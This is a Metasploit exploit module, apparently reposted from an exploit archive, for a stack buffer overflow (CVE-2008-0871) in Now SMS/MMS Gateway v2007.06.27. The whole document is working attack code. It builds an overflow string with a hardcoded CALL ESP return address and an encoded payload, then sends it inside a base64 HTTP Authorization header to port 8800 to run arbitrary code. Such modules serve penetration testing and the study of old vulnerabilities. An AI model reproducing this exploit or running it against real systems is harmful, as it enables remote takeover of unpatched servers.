Now SMS/MMS Gateway Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Now SMS/MMS Gateway Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Now SMS/MMS Gateway v2007.06.27.  
By sending a specially crafted GET request, an attacker may be able to execute  
arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2008-0871' ],  
[ 'OSVDB', '42953'],  
[ 'BID', '27896' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 0x94,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL  
],  
'DefaultTarget' => 0,   
'DisclosureDate' => 'Feb 19 2008'))  
  
register_options( [ Opt::RPORT(8800) ], self.class )  
  
end  
  
def exploit  
c = connect  
  
data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)  
  
print_status("Trying target #{target.name}...")  
  
res = send_request_raw({  
'uri' => '/',  
'method' => 'GET',  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"  
}  
}, 5)  
  
handler  
end   
  
end  
`